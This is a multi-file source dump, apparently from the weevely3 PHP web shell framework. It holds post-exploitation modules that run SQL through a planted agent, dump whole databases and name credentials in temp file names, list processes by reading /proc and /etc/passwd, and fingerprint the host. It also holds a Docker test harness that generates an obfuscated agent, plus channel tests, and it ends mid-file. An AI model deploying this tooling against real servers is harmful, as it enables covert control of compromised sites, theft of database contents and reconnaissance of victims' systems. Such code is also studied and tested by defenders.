DEFINER", "/*!50003 CREATE*/ /*!50017 DEFINER", $triggerStmt ); $triggerStmtReplaced = str_replace( " TRIGGER", "*/ /*!50003 TRIGGER", $triggerStmtReplaced ); if ( false === $triggerStmtReplaced ) { $triggerStmtReplaced = $triggerStmt; } $ret .= "DELIMITER ;;" . PHP_EOL . $triggerStmtReplaced . "*/;;" . PHP_EOL . "DELIMITER ;" . PHP_EOL . PHP_EOL; return $ret; } public function show_tables() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "SELECT TABLE_NAME AS tbl_name " . "FROM INFORMATION_SCHEMA.TABLES " . "WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA='${args[0]}'"; } public function show_views() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "SELECT TABLE_NAME AS tbl_name " . "FROM INFORMATION_SCHEMA.TABLES " . "WHERE TABLE_TYPE='VIEW' AND TABLE_SCHEMA='${args[0]}'"; } public function show_triggers() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "SHOW TRIGGERS FROM `${args[0]}`;"; } public function show_columns() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "SHOW COLUMNS FROM `${args[0]}`;"; } public function start_transaction() { return "SET GLOBAL TRANSACTION ISOLATION LEVEL REPEATABLE READ; " . "START TRANSACTION"; } public function commit_transaction() { return "COMMIT"; } public function lock_table() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); //$tableName = $args[0]; //return "LOCK TABLES `$tableName` READ LOCAL"; return $this->dbHandler->exec("LOCK TABLES `${args[0]}` READ LOCAL"); } public function unlock_table() { return $this->dbHandler->exec("UNLOCK TABLES"); } public function start_add_lock_table() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "LOCK TABLES `${args[0]}` WRITE;" . PHP_EOL; } public function end_add_lock_table() { return "UNLOCK TABLES;" . PHP_EOL; } public function start_add_disable_keys() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "/*!40000 ALTER TABLE `${args[0]}` DISABLE KEYS */;" . PHP_EOL; } public function end_add_disable_keys() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "/*!40000 ALTER TABLE `${args[0]}` ENABLE KEYS */;" . PHP_EOL; } public function start_disable_autocommit() { return "SET autocommit=0;" . PHP_EOL; } public function end_disable_autocommit() { return "COMMIT;" . PHP_EOL; } public function add_drop_database() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "/*!40000 DROP DATABASE IF EXISTS `${args[0]}`*/;" . PHP_EOL . PHP_EOL; } public function add_drop_trigger() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "DROP TRIGGER IF EXISTS `${args[0]}`;" . PHP_EOL; } public function drop_table() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "DROP TABLE IF EXISTS `${args[0]}`;" . PHP_EOL; } public function drop_view() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "DROP TABLE IF EXISTS `${args[0]}`;" . PHP_EOL . "/*!50001 DROP VIEW IF EXISTS `${args[0]}`*/;" . PHP_EOL; } public function getDatabaseHeader() { if (func_num_args() != 1) { return ""; } $args = func_get_args(); return "--" . PHP_EOL . "-- Current Database: `${args[0]}`" . PHP_EOL . "--" . PHP_EOL . PHP_EOL; } /** * Decode column metadata and fill info structure. * type, is_numeric and is_blob will always be available. * * @param array $colType Array returned from "SHOW COLUMNS FROM tableName" * @return array */ public function parseColumnType($colType) { $colInfo = array(); $colParts = explode(" ", $colType['Type']); if($fparen = strpos($colParts[0], "(")) { $colInfo['type'] = substr($colParts[0], 0, $fparen); $colInfo['length'] = str_replace(")", "", substr($colParts[0], $fparen+1)); $colInfo['attributes'] = isset($colParts[1]) ? $colParts[1] : NULL; } else { $colInfo['type'] = $colParts[0]; } $colInfo['is_numeric'] = in_array($colInfo['type'], $this->mysqlTypes['numerical']); $colInfo['is_blob'] = in_array($colInfo['type'], $this->mysqlTypes['blob']); return $colInfo; } public function backup_parameters() { if (func_num_args() != 1) { throw new Exception("Unexpected parameter passed to " . __METHOD__); } $args = func_get_args(); $dumpSettings = $args[0]; $ret = "/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;" . PHP_EOL . "/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;" . PHP_EOL . "/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;" . PHP_EOL . "/*!40101 SET NAMES utf8 */;" . PHP_EOL; if (false === $dumpSettings['skip-tz-utz']) { $ret .= "/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;" . PHP_EOL . "/*!40103 SET TIME_ZONE='+00:00' */;" . PHP_EOL; } $ret .= "/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;" . PHP_EOL . "/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;" . PHP_EOL . "/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;" . PHP_EOL . "/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;" . PHP_EOL .PHP_EOL; return $ret; } public function restore_parameters() { if (func_num_args() != 1) { throw new Exception("Unexpected parameter passed to " . __METHOD__); } $args = func_get_args(); $dumpSettings = $args[0]; $ret = ""; if (false === $dumpSettings['skip-tz-utz']) { $ret .= "/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;" . PHP_EOL; } $ret .= "/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;" . PHP_EOL . "/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;" . PHP_EOL . "/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;" . PHP_EOL . "/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;" . PHP_EOL . "/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;" . PHP_EOL . "/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;" . PHP_EOL . "/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;" . PHP_EOL . PHP_EOL; return $ret; } } $dump = new Mysqldump( '${db}', '${user}', '${passwd}', '${host}', '${dbms}', Array( 'add-drop-table' => true )); $dump->start('php://output'); epinna-weevely3-445bd88/modules/sql/console.py000066400000000000000000000171141444353330400213630ustar00rootroot00000000000000import re import utils from core import messages from core.loggers import log from core.module import Module from core.vectors import PhpCode class Console(Module): """Execute SQL query or run console.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode( """mysqli_report(MYSQLI_REPORT_OFF);if($s=mysqli_connect('${host}:${port}','${user}','${passwd}')){$r=mysqli_query($s,'${query}');if($r){$f=mysqli_fetch_fields($r);foreach($f as $v){echo $v->name.'${linsep}';};echo '${colsep}';while($c=mysqli_fetch_row($r)){echo implode('${linsep}',$c);echo '${linsep}${colsep}';}};echo @mysqli_error($s);@mysqli_close($s);}echo '${errsep}'.@mysqli_connect_error();""", name='mysql', ), PhpCode( """mysqli_report(MYSQLI_REPORT_OFF);if($s=mysqli_connect('${host}:${port}','${user}','${passwd}','${database}')){$r=mysqli_query($s,'${query}');if($r){$f=mysqli_fetch_fields($r);foreach($f as $v){echo $v->name.'${linsep}';};echo '${colsep}';while($c=mysqli_fetch_row($r)){echo implode('${linsep}',$c);echo '${linsep}${colsep}';}};echo @mysqli_error($s);@mysqli_close($s);}echo '${errsep}'.@mysqli_connect_error();""", name='mysql_database', ), PhpCode( """mysqli_report(MYSQLI_REPORT_OFF);$r=mysqli_query('${query}');if($r){while($c=mysqli_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};mysqli_close();echo '${errsep}'.@mysqli_connect_error().' '.@mysqli_error();""", name="mysql_fallback" ), PhpCode( """if(pg_connect('host=${host} port=${port} user=${user} password=${passwd}')){$r=pg_query('${query}');if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};pg_close();}echo '${errsep}'.@pg_last_error();""", name="pgsql" ), PhpCode( """if(pg_connect('host=${host} port=${port} user=${user} dbname=${database} password=${passwd}')){$r=pg_query('${query}');if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};pg_close();}echo '${errsep}'.@pg_last_error();""", name="pgsql_database" ), PhpCode( """$r=pg_query('${query}');if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';} echo '${colsep}';}};pg_close();echo '${errsep}'.@pg_last_error();""", name="pgsql_fallback" ), ] ) self.register_arguments([ {'name': '-user', 'help': 'SQL username'}, {'name': '-passwd', 'help': 'SQL password'}, {'name': '-host', 'help': 'Db host (default: localhost)', 'nargs': '?', 'default': 'localhost'}, {'name': '-dbms', 'help': 'Db type', 'choices': ('mysql', 'pgsql'), 'default': 'mysql'}, {'name': '-database', 'help': 'Database name'}, {'name': '-port', 'help': 'Port number', 'type': int, 'default': 0}, {'name': '-query', 'help': 'Execute a single query'}, {'name': '-encoding', 'help': 'Db text encoding', 'default': 'utf-8'}, ]) def _query(self, vector, args): # Randomly generate separators colsep = '----%s' % utils.strings.randstr(6).decode('utf-8') linsep = '----%s' % utils.strings.randstr(6).decode('utf-8') errsep = '----%s' % utils.strings.randstr(6).decode('utf-8') args.update( {'colsep': colsep, 'linsep': linsep, 'errsep': errsep} ) # Escape ' in query strings self.args['query'] = self.args['query'].replace('\\', '\\\\').replace('\'', '\\\'') # Set default port depending on selected dbms if self.args['port'] <= 0: self.args['port'] = '5432' if self.args['dbms'] == 'pgsql' else '3306' result = self.vectors.get_result(vector, args) # we wan't the result to be unicode, but depending on the source # of the data, it could be encoded differently try: result = str(result) except UnicodeError: result = str(result.decode(args.get('encoding'))) # If there is not errstr, something gone really bad (e.g. functions not callable) if errsep not in result: return { 'error': messages.module_sql_console.unexpected_response, 'result': [] } else: # Split result by errsep result, error = result.split(errsep) return { 'error': error, 'result': [ line.split(linsep) for line in result.replace(linsep + colsep, colsep).split(colsep) if line ] } def run(self, **kwargs): # The vector name is given by the db type vector = self.args.get('dbms') encoding = self.args.get('encoding') database = self.args.get('database') # Check if PostgreSQL and database is given if database: vector += '_database' else: # And by the user and password presence vector += ( '' if self.args.get('user') and self.args.get('passwd') else '_fallback' ) # If the query is set, just execute it if self.args.get('query'): return self._query(vector, self.args) # Else, start the console. # Check credentials self.args['query'] = ( 'SELECT USER;' if vector.startswith('pgsql') else 'SELECT USER();' ) result = self._query(vector, self.args) if not result['result']: return result if result['result'][0]: user = result['result'][1][0] # Console loop while True: query = input('{}:{} SQL> '.format(user, database)).strip() if not query: continue if query in ['quit', '\q', 'exit']: return {"result": "sql_console exited.", "error": False} m = re.findall("^use\s+([\w_]+);?$", query, re.IGNORECASE) if len(m): database = m[0] self.args.update({"database": database}) print("databse changed to {}.".format(database)) continue self.args['query'] = query result = self._query(vector, self.args) self.print_result(result) def print_result(self, result): if result['error']: log.info(result['error']) if result['result']: if type(result['result']) is str: log.info(result["result"]) else: Module.print_result(self, result['result'], header=True) elif not result['error']: log.warn('%s %s' % ( messages.module_sql_console.no_data, messages.module_sql_console.check_credentials) ) command_last_chars = utils.prettify.shorten( self.args['query'].rstrip(), keep_trailer=10 ) if (command_last_chars and command_last_chars[-1] != ';'): log.warn(messages.module_sql_console.missing_sql_trailer_s % command_last_chars) epinna-weevely3-445bd88/modules/sql/dump.py000066400000000000000000000064721444353330400206730ustar00rootroot00000000000000from core.vectors import PhpFile, ShellCmd from core.module import Module from core.loggers import log from core import messages import tempfile import os class Dump(Module): """Multi dbms mysqldump replacement.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ ShellCmd( payload="mysqldump -h ${host} -u${user} -p${passwd} ${db} ${table} --single-transaction", name='mysqldump_sh' ), PhpFile( payload_path=os.path.join(self.folder, 'mysqldump.tpl'), name='mysqldump_php', ) ] ) self.register_arguments([ {'name': 'db', 'help': 'Db to dump'}, {'name': 'user', 'help': 'SQL username'}, # Using passwd instead of pass to avoid rendering the `pass` keyword {'name': 'passwd', 'help': 'SQL password'}, {'name': '-dbms', 'help': 'Db type. Vector \'mysqldump_sh\' supports only \'mysql\'.', 'choices': ('mysql', 'pgsql', 'sqlite', 'dblib'), 'default': 'mysql'}, {'name': '-host', 'help': 'Db host or host:port', 'nargs': '?', 'default': '127.0.0.1'}, {'name': '-lpath', 'help': 'Dump to local path (default: temporary file)'}, {'name': '-vector', 'choices': self.vectors.get_names(), 'default': 'mysqldump_php'} ]) def run(self, **kwargs): self.args['table'] = self.args.get('table', '') if self.args['vector'] == 'mysqldump_sh' and self.args['dbms'] != 'mysql': log.warn(messages.module.vector_s_not_support_arg_s_s % ( self.args['vector'], 'dbms', self.args['dbms']) ) return vector_name, result = self.vectors.find_first_result( names=[self.args.get('vector')], format_args=self.args, condition=lambda r: r and '-- Dumping data for table' in r ) if not vector_name: log.warn(messages.module_sql_dump.sql_dump_failed_check_credentials) return # Get a temporary file name if not specified lpath = self.args.get('lpath') if not lpath: temp_file = tempfile.NamedTemporaryFile( suffix='_%s_%s_%s_%s.sqldump' % ( self.args['user'], self.args['passwd'], self.args['host'], self.args['db'] ), delete=False ) lpath = temp_file.name if not os.path.isabs(lpath): if lpath.startswith('~'): lpath = os.path.expanduser('~') + os.path.join('/', lpath.replace('~/', '')) else: lpath = os.path.join(os.getcwd(), lpath) path, filename = os.path.split(lpath) if not os.path.exists(path): os.makedirs(path) try: open(lpath, 'w').write(result) except Exception as e: log.warn( messages.generic.error_creating_file_s_s % (lpath, e) ) return log.info(messages.module_sql_dump.sql_dump_saved_s % lpath) epinna-weevely3-445bd88/modules/system/000077500000000000000000000000001444353330400200705ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/system/__init__.py000066400000000000000000000000001444353330400221670ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/system/extensions.py000066400000000000000000000027521444353330400226470ustar00rootroot00000000000000from core.vectors import PhpCode from core.module import Module from core import messages import random class Extensions(Module): """Collect PHP and webserver extension list.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode(""" $f='get_loaded_extensions'; if(function_exists($f)&&is_callable($f)) foreach($f() as $o) print($o.PHP_EOL); """, 'php_extensions'), PhpCode(""" $f='apache_get_modules'; if(function_exists($f)&&is_callable($f)) foreach($f() as $o) print($o.PHP_EOL); """, 'apache_modules'), ] ) self.register_arguments([ { 'name' : '-info', 'help' : 'Select modules or extensions', 'choices' : self.vectors.get_names(), 'nargs' : '+' } ]) def run(self, **kwargs): result = self.vectors.get_results( names = self.args.get('info', []) ) # Returns a string when a single information is requested, # else returns a dictionary containing all the results. info = self.args.get('info') if info and len(info) == 1: return result[info[0]] else: return result epinna-weevely3-445bd88/modules/system/info.py000066400000000000000000000126031444353330400213770ustar00rootroot00000000000000from core.vectors import PhpCode from core.module import Module from core import messages from core.loggers import log from core import modules import utils class Info(Module): """Collect system information.""" aliases = [ 'whoami', 'hostname', 'pwd', 'uname' ] default_provider = 'http://ifconfig.me/' extended_vectors = [ 'server_soft', 'server_ip', 'ini_path', 'tmp_path', 'free_space', 'dir_sep' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode("print(@$_SERVER['DOCUMENT_ROOT']);", 'document_root'), PhpCode("@print(getcwd());", 'pwd'), PhpCode("print(empty(Phar::running(false))?__DIR__:dirname(Phar::running(false)));", 'script_folder'), PhpCode("print(@$_SERVER['SCRIPT_NAME']);", 'script'), PhpCode("print(@$_SERVER['PHP_SELF']);", 'php_self'), PhpCode(""" if(is_callable('posix_getpwuid')&&is_callable('posix_geteuid')) { $u=@posix_getpwuid(@posix_geteuid()); if($u){ $u=$u['name']; } else { $u=getenv('username'); } print($u); } """, 'whoami'), PhpCode("print(@gethostname());", 'hostname'), PhpCode("$v=@ini_get('open_basedir'); if($v) print($v);", 'open_basedir'), PhpCode("print(@ini_get('disable_functions'));", 'disable_functions'), PhpCode("print(@php_ini_loaded_file());", 'ini_path'), PhpCode("print(@sys_get_temp_dir());", 'tmp_path'), PhpCode("print(@disk_free_space(dirname(empty(Phar::running(false))?__DIR__:Phar::running(false))));", 'free_space', postprocess=lambda x: utils.prettify.format_size(int(x)) ), PhpCode("print(@ini_get('safe_mode') ? 1 : 0);", 'safe_mode', postprocess=lambda x: True if x == '1' else False), PhpCode("print(@$_SERVER['SERVER_SOFTWARE']);", 'server_soft'), PhpCode("print(@php_uname());", 'uname'), PhpCode("print(@php_uname('s') . ' ' . @php_uname('m'));", 'os'), PhpCode("print(@$_SERVER['REMOTE_ADDR']);", 'client_ip'), PhpCode("print(@file_get_contents('${provider}'));", 'server_ip'), PhpCode("print(@$_SERVER['SERVER_NAME']);", 'server_name'), PhpCode("print(@ini_get('max_execution_time'));", 'max_execution_time', postprocess=lambda x: int(x) if x and x.isdigit() else False), PhpCode("@print(DIRECTORY_SEPARATOR);", 'dir_sep'), PhpCode(""" $v=''; if(function_exists('phpversion')) { $v=phpversion(); } elseif(defined('PHP_VERSION')) { $v=PHP_VERSION; } elseif(defined('PHP_VERSION_ID')) { $v=PHP_VERSION_ID; } print($v); """, 'php_version') ] ) self.register_arguments([ {'name': '-info', 'help': 'Select information (possible values are: %s)' % (', '.join(self.vectors.get_names())), 'choices': self.vectors.get_names(), 'default': [], 'nargs': '+', 'metavar': 'arg'}, {'name': '-extended', 'help': 'Get more info. Slower. (extended info: %s)' % (', '.join(self.extended_vectors)), 'action': 'store_true', 'default': False}, {'name': '-provider', 'help': 'The URL to get server_ip from (default: %s)' % self.default_provider, 'metavar': 'http://...', 'default': self.default_provider} ]) def run(self, **kwargs): vectors = self.args.get('info') if not vectors and not self.args.get('extended'): vectors = [i for i in self.vectors.get_names() if i not in self.extended_vectors] result = self.vectors.get_results( names=vectors, results_to_store=( 'whoami', 'hostname', 'dir_sep', 'os', 'script_folder', 'server_ip' ), format_args={ 'provider': self.args.get('provider') } ) # Returns a string when a single information is requested, # else returns a dictionary containing all the results. info = self.args.get('info') if info and len(info) == 1: return result[info[0]] else: return result def run_alias(self, args, cmd): if self.session['default_shell'] != 'shell_sh': log.debug(messages.module.running_the_alias_s % self.name) return self.run_cmdline('-info %s' % cmd) else: modules.loaded['shell_sh'].run_cmdline( '%s -- %s' % (cmd, args) ) epinna-weevely3-445bd88/modules/system/procs.py000066400000000000000000000127201444353330400215720ustar00rootroot00000000000000from core.module import Module from core.vectors import PhpCode class Procs(Module): """List running processes.""" aliases = [ 'ps' ] def init(self): self.register_info( { 'author': [ 'paddlesteamer' ], 'license': 'GPLv3' } ) def run(self, **kwargs): return PhpCode(""" class UIDMap { private $map = array(); public function __construct() { $lines = @explode(PHP_EOL, file_get_contents('/etc/passwd')); if (!$lines) return; foreach ($lines as $line) { $els = explode(':', $line); $uname = $els[0]; if (strlen($uname) > 8) $uname = substr($uname, 0, 7) . '+'; $this->map[$els[2]] = $uname; } } public function getUserName($uid) { $uname = $this->map[$uid]; if (!$uname) return $uid; return $uname; } } function getTtyName($ttynr) { $major = ($ttynr >> 8) & 0xffffffff ; $minor = $ttynr & 0xff; if ($major === 4) { if ($minor < 64) return 'tty'.$minor; return 'ttyS'.(255 - $minor); } else if ($major >= 136 && $major <=143) { return 'pts/'.$minor; } // unsupported tty return '?'; } function getProcInfo($procpath, $pid) { global $uidmap; $info = array( 'UID' => '?', 'PID' => '?', 'PPID' => '?', 'STIME' => '?', 'TTY' => '?', 'TIME' => '?', 'CMD' => '?' ); $content = @file_get_contents(join(DIRECTORY_SEPARATOR, array($procpath, $pid, 'stat'))); if (!$content) return $info; $stats = explode(' ', $content); $info['PID'] = $stats[0]; $info['PPID'] = $stats[3]; // calculate stime and time // since there is no way to call // sysconf(_SC_CLK_TCK), let's use // a workaround with filectime $curtime = time(); $stime = @filemtime(join(DIRECTORY_SEPARATOR, array($procpath, $pid))); if (date('j', $curtime) === date('j', $stime)) { $info['STIME'] = date('H:i', $stime); } else { $info['STIME'] = date('Md', $stime); } $time = $curtime - $stime; $hours = floor($time / 3600); $minutes = floor(($time % 3600) / 60); $seconds = $time % 60; $info['TIME'] = sprintf("%'.02d:%'.02d:%'.02d", $hours, $minutes, $seconds); $info['TTY'] = getTtyName($stats[6]); // get cmd $cmd = @file_get_contents(join(DIRECTORY_SEPARATOR, array($procpath, $pid, 'cmdline'))); if ($cmd && strlen($cmd) > 0) { $cmd = @str_replace("\x00", ' ', $cmd); } else { $cmd = @str_replace('(', '[', str_replace(')', ']', $stats[1])); } $info['CMD'] = $cmd; // get user $content = @explode(PHP_EOL, file_get_contents(join(DIRECTORY_SEPARATOR, array($procpath, $pid, 'status')))); foreach ($content as $line) { $els = explode("\t", $line); if ($els[0] !== 'Uid:') continue; $info['UID'] = $uidmap->getUserName($els[1]); break; } return $info; } function main() { global $uidmap; // check proc $procpath = '/proc'; if (!file_exists('/proc')) { $lines = @explode(PHP_EOL, file_get_contents('/etc/mtab')); if (!$lines) { print('Unable to list processes.' . PHP_EOL); return; } foreach ($lines as $line) { $els = explode(' ', $line); if ($els[0] !== 'proc') continue; $procpath = $els[1]; } if ($procpath === '/proc') { print('Unable to list processes.' . PHP_EOL); return; } } // init uidmap $uidmap = new UIDMap(); $pids = @scandir($procpath); $format = '%-8s %5s %5s %5s %-8s %10s %s' . PHP_EOL; printf($format, 'UID', 'PID', 'PPID', 'STIME', 'TTY', 'TIME', 'CMD'); foreach ($pids as $pid) { if (!is_numeric($pid)) continue; $proc = getProcInfo($procpath, $pid); printf($format, $proc['UID'], $proc['PID'], $proc['PPID'], $proc['STIME'], $proc['TTY'], $proc['TIME'], $proc['CMD']); } } main(); """).run() epinna-weevely3-445bd88/requirements.txt000066400000000000000000000000721444353330400203570ustar00rootroot00000000000000prettytable Mako PyYAML python-dateutil PySocks pyOpenSSL epinna-weevely3-445bd88/tests/000077500000000000000000000000001444353330400162365ustar00rootroot00000000000000epinna-weevely3-445bd88/tests/__init__.py000066400000000000000000000000001444353330400203350ustar00rootroot00000000000000epinna-weevely3-445bd88/tests/base_test.py000066400000000000000000000006541444353330400205660ustar00rootroot00000000000000from unittest import TestCase from . import config from os import environ class BaseTest(TestCase): agent = environ.get('AGENT', 'agent.php') url = config.base_url + agent password = config.password path = config.base_folder + agent def shortDescription(self): doc = super().shortDescription() doc = doc if doc else '' return f'[PHP{8 if self.agent == "agent.phar" else 7}] {doc}' epinna-weevely3-445bd88/tests/config.py000066400000000000000000000005301444353330400200530ustar00rootroot00000000000000agent = '/var/www/html/agent.php' password = 'testingpassword' url = 'http://localhost/agent.php' base_folder = '/var/www/html/' base_url = 'http://localhost/' debug = False test_stress_channels = True su_user = 'testuser' su_passwd = 'testuser' sql_dbms = 'mysql' sql_db = 'test' sql_user = 'root' sql_passwd = 'root' sql_autologin = Falseepinna-weevely3-445bd88/tests/docker/000077500000000000000000000000001444353330400175055ustar00rootroot00000000000000epinna-weevely3-445bd88/tests/docker/000-default.conf000066400000000000000000000033271444353330400223020ustar00rootroot00000000000000 # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com ServerAdmin webmaster@localhost DocumentRoot /var/www/html # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf AddType application/x-httpd-php .php8 SetHandler "proxy:unix:/run/php/php7.4-fpm.sock|fcgi://localhost" SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost" epinna-weevely3-445bd88/tests/docker/Dockerfile000066400000000000000000000027441444353330400215060ustar00rootroot00000000000000FROM python:3 WORKDIR /app RUN apt-get update RUN apt-get -y install curl wget gnupg2 ca-certificates lsb-release apt-transport-https apache2 expect php-mysql zip unzip vim openssh-server RUN wget -O /tmp/sury.gpg https://packages.sury.org/php/apt.gpg RUN apt-key add /tmp/sury.gpg RUN rm /tmp/sury.gpg RUN echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list RUN apt-get update -y RUN apt-get -y install php7.4 php7.4-fpm php7.4-mysql libapache2-mod-php7.4 libapache2-mod-fcgid php7.4-curl php7.4-gd php7.4-zip php7.4-bz2 php7.4-ssh2 RUN apt-get -y install php8.2 php8.2-fpm php8.2-mysql libapache2-mod-php8.2 libapache2-mod-fcgid php8.2-curl php8.2-gd php8.2-zip php8.2-bz2 php8.2-ssh2 RUN bash -c "debconf-set-selections <<< 'mysql-server mysql-server/root_password password root'" RUN bash -c "debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password root'" RUN apt-get -y install default-mysql-server COPY requirements.txt /app/ RUN pip install -r /app/requirements.txt # Additional libraries for testing RUN pip install testfixtures coverage pexpect paramiko # Add unprivileged testuser:testuser user RUN echo 'testuser:$1$xyz$iqgi.17OXQwhicZgFC1OZ.:1001:1002:,,,:/home/testuser:/bin/bash' >> /etc/passwd RUN mkdir -p /home/testuser RUN chown testuser:users /home/testuser RUN phpenmod ssh2 COPY tests/docker/000-default.conf /etc/apache2/sites-enabled/000-default.conf ENTRYPOINT "/app/tests/docker/entrypoint.sh" epinna-weevely3-445bd88/tests/docker/entrypoint.sh000077500000000000000000000016361444353330400222650ustar00rootroot00000000000000#!/bin/bash set -e -x BASE_FOLDER="`python -c 'from tests import config;print(config.base_folder)'`" AGENT="`python -c 'from tests import config;print(config.agent)'`" URL="`python -c 'from tests import config;print(config.url)'`" PWD="`python -c 'from tests import config;print(config.password)'`" # Generic environment setting install mkdir -p "$BASE_FOLDER" find -type f -name '*.pyc' -exec rm -f {} \; python ./weevely.py generate -obfuscator obfusc1_php "$PWD" "$AGENT" python ./weevely.py generate "$PWD" "$BASE_FOLDER"agent.phar a2enmod actions fcgid alias proxy_fcgi update-alternatives --set php /usr/bin/php7.4 service php7.4-fpm start service php8.2-fpm start service ssh start service apache2 start service mariadb start # Grant root user to connect from network socket mysql -u root --password=root -e "grant all privileges on *.* to 'root'@'localhost' identified by 'root'; flush privileges;" sleep 10000 epinna-weevely3-445bd88/tests/run.sh000077500000000000000000000027251444353330400174070ustar00rootroot00000000000000#!/bin/bash set -e # Load docker defaults and check conf docker info # Change folder to the root folder PARENTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )"/../ && pwd )" cd $PARENTDIR # Delete any instance if previously existent docker rm -f httpbin-inst || echo '' docker rm -f weevely-inst || echo '' docker network rm weevely-testnet || echo '' # Create the network docker network create weevely-testnet # Run httpbin container for local testing docker pull kennethreitz/httpbin docker run -p 8888:80 --net=weevely-testnet --rm --name httpbin-inst -d kennethreitz/httpbin # Wait until the http server is serving until $(curl --output /dev/null --silent --head http://localhost:8888/); do sleep 1 done # Build weevely container docker build -f tests/docker/Dockerfile . -t weevely docker run --rm --net=weevely-testnet --name weevely-inst -v `pwd`:/app/ -p 80:80 -d weevely # Wait until the http server is serving until $(curl --output /dev/null --silent --head http://localhost/); do sleep 1 done if [ "$1" = "bash" ]; then docker exec -e "AGENT=$AGENT" -it weevely-inst /bin/bash else for AGENT in agent.php agent.phar; do if [ -z "$1" ]; then docker exec -e "AGENT=$AGENT" -it weevely-inst python -m unittest discover ./tests/ "test_*.py" else docker exec -e "AGENT=$AGENT" -it weevely-inst python -m unittest discover ./tests/ "test_$1.py" fi done fi docker rm -f weevely-inst docker rm -f httpbin-inst docker network rm weevely-testnetepinna-weevely3-445bd88/tests/test_channels.py000066400000000000000000000032701444353330400214440ustar00rootroot00000000000000from tests.base_test import BaseTest from core.channels.channel import Channel from core.weexceptions import DevException import utils from core.generate import generate, save_generated import os import random import unittest from tests import config from core.loggers import stream_handler import logging import subprocess import tempfile import core.config import socket def _get_google_ip(): try: data = socket.gethostbyname('www.google.com') ip = repr(data) if ip: return ip except Exception: pass class ObfPostChannel(BaseTest): def setUp(self): self.channel = Channel( 'ObfPost', { 'url' : self.url, 'password' : self.password } ) def _incremental_requests( self, size_start, size_to, step_rand_start, step_rand_to): for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)): payload = utils.strings.randstr(i) result = self.channel.send( 'echo("%s");' % payload.decode('utf-8'))[0] self.assertEqual( result, payload) class AgentDEFAULTObfuscatorDefault(ObfPostChannel): def test_1_100_requests(self): self._incremental_requests(1, 100, 1, 3) def test_100_1000_requests(self): self._incremental_requests(100, 1000, 90, 300) def test_1000_10000_requests(self): self._incremental_requests(1000, 10000, 900, 3000) def test_10000_50000_requests(self): self._incremental_requests(10000, 50000, 9000, 30000) epinna-weevely3-445bd88/tests/test_file_bzip2.py000066400000000000000000000126621444353330400217030ustar00rootroot00000000000000from tests.base_test import BaseTest from tests import config from core import modules from core.sessions import SessionURL from testfixtures import log_capture from core import messages import logging import os import subprocess class FileBzip(BaseTest): 